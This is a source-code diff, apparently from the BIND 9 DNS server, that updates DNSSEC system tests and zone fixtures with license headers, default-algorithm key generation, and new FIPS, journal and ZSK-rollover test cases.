@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -13,7 +15,7 @@
 ;
 $TTL 3600
 example.com.	IN	SOA ns hostmaster 00090000 1200 3600 604800 300
-$include Kexample.com.+005+07065.key
-$include Kexample.com.+005+23362.key
+$include Kexample.com.+010+18240.key
+$include Kexample.com.+010+28633.key
 $include bogus-ksk.key
 $include bogus-zsk.key
diff --git a/bin/tests/system/dnssec/signer/general/test7.zone b/bin/tests/system/dnssec/signer/general/test7.zone
index acf443d9de..e52c535527 100644
--- a/bin/tests/system/dnssec/signer/general/test7.zone
+++ b/bin/tests/system/dnssec/signer/general/test7.zone
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/signer/general/test8.zone b/bin/tests/system/dnssec/signer/general/test8.zone
index abfc58f818..893d32da10 100644
--- a/bin/tests/system/dnssec/signer/general/test8.zone
+++ b/bin/tests/system/dnssec/signer/general/test8.zone
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -13,5 +15,5 @@
 ;
 $TTL 3600
 example.com.	IN	SOA ns hostmaster 00090000 1200 3600 604800 300
-$include Kexample.com.+005+23362.key
+$include Kexample.com.+010+28633.key
 $include bogus-zsk.key
diff --git a/bin/tests/system/dnssec/signer/general/test9.zone b/bin/tests/system/dnssec/signer/general/test9.zone
index 5cfac09189..14c47d040c 100644
--- a/bin/tests/system/dnssec/signer/general/test9.zone
+++ b/bin/tests/system/dnssec/signer/general/test9.zone
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/signer/prepub.db.in b/bin/tests/system/dnssec/signer/prepub.db.in
new file mode 100644
index 0000000000..946aac1bf5
--- /dev/null
+++ b/bin/tests/system/dnssec/signer/prepub.db.in
@@ -0,0 +1,17 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 60
+prepub. 60 IN SOA prepub. . 0 0 0 0 0
+prepub. 60 IN NS prepub.
+prepub. 60 IN A 1.2.3.4
+; out of zone record
+out-of-zone. 60 IN A 1.2.3.4
diff --git a/bin/tests/system/dnssec/signer/remove.db.in b/bin/tests/system/dnssec/signer/remove.db.in
index 8e0fccdd66..5629a426ae 100644
--- a/bin/tests/system/dnssec/signer/remove.db.in
+++ b/bin/tests/system/dnssec/signer/remove.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/signer/remove2.db.in b/bin/tests/system/dnssec/signer/remove2.db.in
index aa1d2f55af..b2962b9ff1 100644
--- a/bin/tests/system/dnssec/signer/remove2.db.in
+++ b/bin/tests/system/dnssec/signer/remove2.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/tests.sh b/bin/tests/system/dnssec/tests.sh
index 9e50a0edf1..f3e579d1fd 100644
--- a/bin/tests/system/dnssec/tests.sh
+++ b/bin/tests/system/dnssec/tests.sh
@@ -1,19 +1,21 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 # shellcheck source=conf.sh
 . ../conf.sh
 
-set -e
-
 status=0
 n=1
 
@@ -81,8 +83,7 @@ israw0 () {
     < "$1" $PERL -e 'binmode STDIN;
 	             read(STDIN, $input, 8);
 	             ($style, $version) = unpack("NN", $input);
-	             exit 1 if ($style != 2 || $version != 0);'
-    return $?
+	             exit 1 if ($style != 2 || $version != 0);' || return $?
 }
 
 # check that a zone file is raw format, version 1
@@ -91,8 +92,7 @@ israw1 () {
     < "$1" $PERL -e 'binmode STDIN;
 		     read(STDIN, $input, 8);
                      ($style, $version) = unpack("NN", $input);
-                     exit 1 if ($style != 2 || $version != 1);'
-    return $?
+                     exit 1 if ($style != 2 || $version != 1);' || return $?
 }
 
 # strip NS and RRSIG NS from input
@@ -107,13 +107,11 @@ stripns () {
 # Ensure there is not a blank line before "Secure roots:".
 #
 check_secroots_layout () {
-	tr -d '\r' < "$1" | \
 	awk '$0 == "" { if (empty) exit(1); empty=1; next }
 	     /Start view/ { if (!empty) exit(1) }
 	     /Secure roots:/ { if (empty) exit(1) }
 	     /Negative trust anchors:/ { if (!empty) exit(1) }
-	     { empty=0 }'
-	return $?
+	     { empty=0 }' $1 || return $?
 }
 
 # Check that for a query against a validating resolver where the
@@ -196,7 +194,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking positive validation NSEC using dns_client ($n)"
    delv_with_opts @10.53.0.4 a a.example > delv.out$n || ret=1
@@ -228,7 +226,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking positive validation NSEC3 using dns_client ($n)"
    delv_with_opts @10.53.0.4 a a.nsec3.example > delv.out$n || ret=1
@@ -253,7 +251,7 @@ status=$((status+ret))
 
 SP="[[:space:]]+"
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking positive validation OPTOUT using dns_client ($n)"
    delv_with_opts @10.53.0.4 a a.optout.example > delv.out$n || ret=1
@@ -279,7 +277,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking positive wildcard validation NSEC using dns_client ($n)"
    delv_with_opts @10.53.0.4 a a.wild.example > delv.out$n || ret=1
@@ -321,7 +319,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking positive wildcard validation NSEC3 using dns_client ($n)"
    delv_with_opts @10.53.0.4 a a.wild.nsec3.example > delv.out$n || ret=1
@@ -347,7 +345,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking positive wildcard validation OPTOUT using dns_client ($n)"
    delv_with_opts @10.53.0.4 a a.wild.optout.example > delv.out$n || ret=1
@@ -369,7 +367,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking negative validation NXDOMAIN NSEC using dns_client ($n)"
    delv_with_opts @10.53.0.4 a q.example > delv.out$n 2>&1 || ret=1
@@ -392,7 +390,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking negative validation NXDOMAIN NSEC3 using dns_client ($n)"
    delv_with_opts @10.53.0.4 a q.nsec3.example > delv.out$n 2>&1 || ret=1
@@ -416,7 +414,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking negative validation NXDOMAIN OPTOUT using dns_client ($n)"
    delv_with_opts @10.53.0.4 a q.optout.example > delv.out$n 2>&1 || ret=1
@@ -438,7 +436,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking negative validation NODATA OPTOUT using dns_client ($n)"
    delv_with_opts @10.53.0.4 txt a.example > delv.out$n 2>&1 || ret=1
@@ -462,7 +460,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking negative validation NODATA NSEC3 using dns_client ($n)"
    delv_with_opts @10.53.0.4 txt a.nsec3.example > delv.out$n 2>&1 || ret=1
@@ -486,7 +484,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking negative validation NODATA OPTOUT using dns_client ($n)"
    delv_with_opts @10.53.0.4 txt a.optout.example > delv.out$n 2>&1 || ret=1
@@ -507,7 +505,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking negative wildcard validation NSEC using dns_client ($n)"
    delv_with_opts @10.53.0.4 txt b.wild.example > delv.out$n 2>&1 || ret=1
@@ -527,7 +525,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking negative wildcard validation NSEC3 using dns_client ($n)"
    delv_with_opts @10.53.0.4 txt b.wild.nsec3.example > delv.out$n 2>&1 || ret=1
@@ -551,7 +549,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking negative wildcard validation OPTOUT using dns_client ($n)"
    delv_with_opts @10.53.0.4 txt b.optout.nsec3.example > delv.out$n 2>&1 || ret=1
@@ -575,7 +573,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking 1-server insecurity proof NSEC using dns_client ($n)"
    delv_with_opts @10.53.0.4 a a.insecure.example > delv.out$n || ret=1
@@ -597,7 +595,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking 1-server insecurity proof NSEC3 using dns_client ($n)"
    delv_with_opts @10.53.0.4 a a.insecure.nsec3.example > delv.out$n || ret=1
@@ -619,7 +617,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking 1-server insecurity proof OPTOUT using dns_client ($n)"
    delv_with_opts @10.53.0.4 a a.insecure.optout.example > delv.out$n || ret=1
@@ -643,7 +641,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking 1-server negative insecurity proof NSEC using dns_client ($n)"
    delv_with_opts @10.53.0.4 a q.insecure.example > delv.out$n 2>&1 || ret=1
@@ -667,7 +665,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking 1-server negative insecurity proof NSEC3 using dns_client ($n)"
    delv_with_opts @10.53.0.4 a q.insecure.nsec3.example > delv.out$n 2>&1 || ret=1
@@ -691,7 +689,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking 1-server negative insecurity proof OPTOUT using dns_client ($n)"
    delv_with_opts @10.53.0.4 a q.insecure.optout.example > delv.out$n 2>&1 || ret=1
@@ -888,7 +886,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking failed validation using dns_client ($n)"
    delv_with_opts +cd @10.53.0.4 a a.bogus.example > delv.out$n 2>&1 || ret=1
@@ -933,11 +931,11 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking that validation fails when key record is missing using dns_client ($n)"
    delv_with_opts +cd @10.53.0.4 a a.b.keyless.example > delv.out$n 2>&1 || ret=1
-   grep "resolution failed: broken trust chain" delv.out$n > /dev/null || ret=1
+   grep "resolution failed: insecurity proof failed" delv.out$n > /dev/null || ret=1
    n=$((n+1))
    test "$ret" -eq 0 || echo_i "failed"
    status=$((status+ret))
@@ -952,7 +950,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-if [ -x ${DELV} ] ; then
+if [ -x "${DELV}" ] ; then
    ret=0
    echo_i "checking that validation succeeds when a revoked key is encountered using dns_client ($n)"
    delv_with_opts +cd @10.53.0.4 soa revkey.example > delv.out$n 2>&1 || ret=1
@@ -1099,6 +1097,38 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
+# Should work with FIPS mode as we are only validating
+echo_i "checking positive validation RSASHA1 NSEC ($n)"
+ret=0
+if $FEATURETEST --rsasha1
+then
+    dig_with_opts +noauth a.rsasha1.example. @10.53.0.3 a > dig.out.ns3.test$n || ret=1
+    dig_with_opts +noauth a.rsasha1.example. @10.53.0.4 a > dig.out.ns4.test$n || ret=1
+    digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
+    grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
+else
+    echo_i "skip: RSASHA1 not supported by OS"
+fi
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+# Should work with FIPS mode as we are only validating
+echo_i "checking positive validation RSASHA1 (1024 bits) NSEC ($n)"
+ret=0
+if $FEATURETEST --rsasha1
+then
+    dig_with_opts +noauth a.rsasha1-1024.example. @10.53.0.3 a > dig.out.ns3.test$n || ret=1
+    dig_with_opts +noauth a.rsasha1-1024.example. @10.53.0.4 a > dig.out.ns4.test$n || ret=1
+    digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
+    grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
+else
+    echo_i "skip: RSASHA1 not supported by OS"
+fi
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
 echo_i "checking positive validation RSASHA256 NSEC ($n)"
 ret=0
 dig_with_opts +noauth a.rsasha256.example. @10.53.0.3 a > dig.out.ns3.test$n || ret=1
@@ -1393,6 +1423,44 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
+echo_ic "check that 'dnssec-signzone -F' works with allowed algorithm ($n)"
+ret=0
+if $FEATURETEST --fips-provider
+then
+    (
+	cd signer/general || exit 1
+	rm -f signed.zone
+	$SIGNER -F -f signed.zone -o example.com. test1.zone > signer.out.$n
+	test -f signed.zone
+    ) || ret=1
+else
+    echo_i "skipped no FIPS provider available"
+fi
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+echo_ic "check that 'dnssec-signzone -F' failed with disallowed algorithm ($n)"
+ret=0
+if ! $FEATURETEST --fips-provider
+then
+    echo_i "skipped no FIPS provider available"
+elif ! $SHELL ../testcrypto.sh -q RSASHA1
+then
+    echo_i "skipped: RSASHA1 is not supported"
+else
+    (
+	cd signer/general || exit 1
+	rm -f signed.zone
+	$SIGNER -F -f signed.zone -o example.com. test11.zone > signer.out.$n 2>&1 && exit 1
+	grep -F -e "fatal: No signing keys specified or found" \
+	        -e "fatal: dnskey 'example.com/RSASHA1/19857' failed to sign data" signer.out.$n > /dev/null
+    ) || ret=1
+fi
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
 echo_ic "check that dnssec-signzone rejects excessive NSEC3 iterations ($n)"
 ret=0
 (
@@ -1405,6 +1473,20 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
+echo_ic "check that dnssec-signzone -J loads journal files ($n)"
+ret=0
+(
+cd signer/general || exit 0
+rm -f signed.zone
+$MAKEJOURNAL example.com. test9.zone test10.zone test9.zone.jnl
+$SIGNER -f signed.zone -o example.com. -J test9.zone.jnl test9.zone > signer.out.$n
+grep -q extra signed.zone
+) || ret=1
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+
 echo_ic "check that dnssec-signzone accepts maximum NSEC3 iterations ($n)"
 ret=0
 (
@@ -1417,6 +1499,91 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
+get_default_algorithm_key_ids_from_sigs() {
+	zone=$1
+
+	awk -v alg=$DEFAULT_ALGORITHM_NUMBER '
+		NF < 8 { next }
+		$(NF-5) != "RRSIG" { next }
+		$(NF-3) != alg { next }
+		$NF != "(" { next }
+		{
+			getline;
+			print $3;
+		}
+	' signer/$zone.db.signed | sort -u
+}
+
+# Test dnssec-signzone ZSK prepublish smooth rollover.
+echo_i "check dnssec-signzone doesn't sign with prepublished zsk ($n)"
+ret=0
+zone=prepub
+# Generate keys.
+ksk=$("$KEYGEN" -K signer -f KSK -q -a $DEFAULT_ALGORITHM -n zone "$zone")
+zsk1=$("$KEYGEN" -K signer -q -a $DEFAULT_ALGORITHM -n zone "$zone")
+zsk2=$("$KEYGEN" -K signer -q -a $DEFAULT_ALGORITHM -n zone "$zone")
+zskid1=$(keyfile_to_key_id "$zsk1")
+zskid2=$(keyfile_to_key_id "$zsk2")
+(
+cd signer || exit 1
+# Set times such that the current set of keys are introduced 60 days ago and
+# start signing now. The successor key is prepublished now and will be active
+# next day.
+$SETTIME -P now-60d -A now $ksk > /dev/null
+$SETTIME -P now-60d -A now -I now+1d -D now+60d $zsk1 > /dev/null
+$SETTIME -S $zsk1 -i 1h $zsk2.key > /dev/null
+$SETTIME -P now -A now+1d $zsk2.key > /dev/null
+# Sign the zone with initial keys and prepublish successor. The zone signatures
+# are valid for 30 days and the DNSKEY signature is valid for 60 days.
+cp -f $zone.db.in $zone.db
+$SIGNER -SDx -e +2592000 -X +5184000 -o $zone $zone.db > /dev/null
+echo "\$INCLUDE \"$zone.db.signed\"" >> $zone.db
+)
+get_default_algorithm_key_ids_from_sigs $zone | grep "^$zskid1$" > /dev/null || ret=1
+get_default_algorithm_key_ids_from_sigs $zone | grep "^$zskid2$" > /dev/null && ret=1
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed: missing signatures from key $zskid1"
+status=$((status+ret))
+
+echo_i "check dnssec-signzone retains signatures of predecessor zsk ($n)"
+ret=0
+zone=prepub
+(
+cd signer || exit 1
+# Roll the ZSK. The predecessor is inactive from now on and the successor is
+# activated. The zone signatures are valid for 30 days and the DNSKEY
+# signature is valid for 60 days. Because of the predecessor/successor
+# relationship, the signatures of the predecessor are retained and no new
+# signatures with the successor should be generated.
+$SETTIME -A now-30d -I now -D now+30d $zsk1 > /dev/null
+$SETTIME -A now $zsk2 > /dev/null
+$SIGNER -SDx -e +2592000 -X +5184000 -o $zone $zone.db > /dev/null
+)
+get_default_algorithm_key_ids_from_sigs $zone | grep "^$zskid1$" > /dev/null || ret=1
+get_default_algorithm_key_ids_from_sigs $zone | grep "^$zskid2$" > /dev/null && ret=1
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+echo_i "check dnssec-signzone swaps zone signatures after interval ($n)"
+ret=0
+zone=prepub
+(
+cd signer || exit 1
+# After some time the signatures should be replaced. When signing, set the
+# interval to 30 days plus one second, meaning all predecessor signatures
+# are within the refresh interval and should be replaced with successor
+# signatures.
+$SETTIME -A now-50d -I now-20d -D now+10d $zsk1 > /dev/null
+$SETTIME -A now-20d $zsk2 > /dev/null
+$SIGNER -SDx -e +2592000 -X +5184000 -i 2592001 -o $zone $zone.db > /dev/null
+)
+get_default_algorithm_key_ids_from_sigs $zone | grep "^$zskid1$" > /dev/null && ret=1
+get_default_algorithm_key_ids_from_sigs $zone | grep "^$zskid2$" > /dev/null || ret=1
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
 echo_i "checking that a key using an unsupported algorithm cannot be generated ($n)"
 ret=0
 zone=example
@@ -1458,26 +1625,11 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-get_rsasha1_key_ids_from_sigs() {
-	tr -d '\r' < signer/example.db.signed | \
-	awk '
-		NF < 8 { next }
-		$(NF-5) != "RRSIG" { next }
-		$(NF-3) != "5" { next }
-		$NF != "(" { next }
-		{
-			getline;
-			print $3;
-		}
-	' | \
-	sort -u
-}
-
 echo_i "checking that we can sign a zone with out-of-zone records ($n)"
 ret=0
 zone=example
-key1=$($KEYGEN -K signer -q -a NSEC3RSASHA1 -b 1024 -n zone $zone)
-key2=$($KEYGEN -K signer -q -f KSK -a NSEC3RSASHA1 -b 1024 -n zone $zone)
+key1=$($KEYGEN -K signer -q -a $DEFAULT_ALGORITHM -n zone $zone)
+key2=$($KEYGEN -K signer -q -f KSK -a $DEFAULT_ALGORITHM -n zone $zone)
 (
 cd signer || exit 1
 cat example.db.in "$key1.key" "$key2.key" > example.db
@@ -1490,8 +1642,8 @@ status=$((status+ret))
 echo_i "checking that we can sign a zone (NSEC3) with out-of-zone records ($n)"
 ret=0
 zone=example
-key1=$($KEYGEN -K signer -q -a NSEC3RSASHA1 -b 1024 -n zone $zone)
-key2=$($KEYGEN -K signer -q -f KSK -a NSEC3RSASHA1 -b 1024 -n zone $zone)
+key1=$($KEYGEN -K signer -q -a $DEFAULT_ALGORITHM -n zone $zone)
+key2=$($KEYGEN -K signer -q -f KSK -a $DEFAULT_ALGORITHM -n zone $zone)
 (
 cd signer || exit 1
 cat example.db.in "$key1.key" "$key2.key" > example.db
@@ -1515,8 +1667,8 @@ status=$((status+ret))
 echo_i "checking NSEC3 signing with empty nonterminals above a delegation ($n)"
 ret=0
 zone=example
-key1=$($KEYGEN -K signer -q -a NSEC3RSASHA1 -b 1024 -n zone $zone)
-key2=$($KEYGEN -K signer -q -f KSK -a NSEC3RSASHA1 -b 1024 -n zone $zone)
+key1=$($KEYGEN -K signer -q -a $DEFAULT_ALGORITHM -n zone $zone)
+key2=$($KEYGEN -K signer -q -f KSK -a $DEFAULT_ALGORITHM -n zone $zone)
 (
 cd signer || exit 1
 cat example.db.in "$key1.key" "$key2.key" > example3.db
@@ -1541,8 +1693,8 @@ status=$((status+ret))
 echo_i "checking that dnssec-signzone updates originalttl on ttl changes ($n)"
 ret=0
 zone=example
-key1=$($KEYGEN -K signer -q -a RSASHA1 -b 1024 -n zone $zone)
-key2=$($KEYGEN -K signer -q -f KSK -a RSASHA1 -b 1024 -n zone $zone)
+key1=$($KEYGEN -K signer -q -a $DEFAULT_ALGORITHM -n zone $zone)
+key2=$($KEYGEN -K signer -q -f KSK -a $DEFAULT_ALGORITHM -n zone $zone)
 (
 cd signer || exit 1
 cat example.db.in "$key1.key" "$key2.key" > example.db
@@ -1550,7 +1702,7 @@ $SIGNER -o example -f example.db.before example.db > /dev/null
 sed 's/60.IN.SOA./50 IN SOA /' example.db.before > example.db.changed
 $SIGNER -o example -f example.db.after example.db.changed > /dev/null
 )
-grep "SOA 5 1 50" signer/example.db.after > /dev/null || ret=1
+grep "SOA $DEFAULT_ALGORITHM_NUMBER 1 50" signer/example.db.after > /dev/null || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
@@ -1558,10 +1710,10 @@ status=$((status+ret))
 echo_i "checking dnssec-signzone keeps valid signatures from removed keys ($n)"
 ret=0
 zone=example
-key1=$($KEYGEN -K signer -q -f KSK -a RSASHA1 -b 1024 -n zone $zone)
-key2=$($KEYGEN -K signer -q -a RSASHA1 -b 1024 -n zone $zone)
+key1=$($KEYGEN -K signer -q -f KSK -a $DEFAULT_ALGORITHM -n zone $zone)
+key2=$($KEYGEN -K signer -q -a $DEFAULT_ALGORITHM -n zone $zone)
 keyid2=$(keyfile_to_key_id "$key2")
-key3=$($KEYGEN -K signer -q -a RSASHA1 -b 1024 -n zone $zone)
+key3=$($KEYGEN -K signer -q -a $DEFAULT_ALGORITHM -n zone $zone)
 keyid3=$(keyfile_to_key_id "$key3")
 (
 cd signer || exit 1
@@ -1573,8 +1725,8 @@ cat example.db.in "$key1.key" "$key3.key" > example.db
 echo "\$INCLUDE \"example.db.signed\"" >> example.db
 $SIGNER -D -o example example.db > /dev/null
 ) || ret=1
-get_rsasha1_key_ids_from_sigs | grep "^$keyid2$" > /dev/null || ret=1
-get_rsasha1_key_ids_from_sigs | grep "^$keyid3$" > /dev/null || ret=1
+get_default_algorithm_key_ids_from_sigs $zone | grep "^$keyid2$" > /dev/null || ret=1
+get_default_algorithm_key_ids_from_sigs $zone | grep "^$keyid3$" > /dev/null || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
@@ -1585,8 +1737,8 @@ ret=0
 cd signer || exit 1
 $SIGNER -RD -o example example.db > /dev/null
 ) || ret=1
-get_rsasha1_key_ids_from_sigs | grep "^$keyid2$" > /dev/null && ret=1
-get_rsasha1_key_ids_from_sigs | grep "^$keyid3$" > /dev/null || ret=1
+get_default_algorithm_key_ids_from_sigs $zone | grep "^$keyid2$" > /dev/null && ret=1
+get_default_algorithm_key_ids_from_sigs $zone | grep "^$keyid3$" > /dev/null || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
@@ -1603,8 +1755,8 @@ echo "\$INCLUDE \"example.db.signed\"" >> example.db
 $SETTIME -I now "$key2" > /dev/null 2>&1
 $SIGNER -SD -o example example.db > /dev/null
 ) || ret=1
-get_rsasha1_key_ids_from_sigs | grep "^$keyid2$" > /dev/null || ret=1
-get_rsasha1_key_ids_from_sigs | grep "^$keyid3$" > /dev/null || ret=1
+get_default_algorithm_key_ids_from_sigs $zone | grep "^$keyid2$" > /dev/null || ret=1
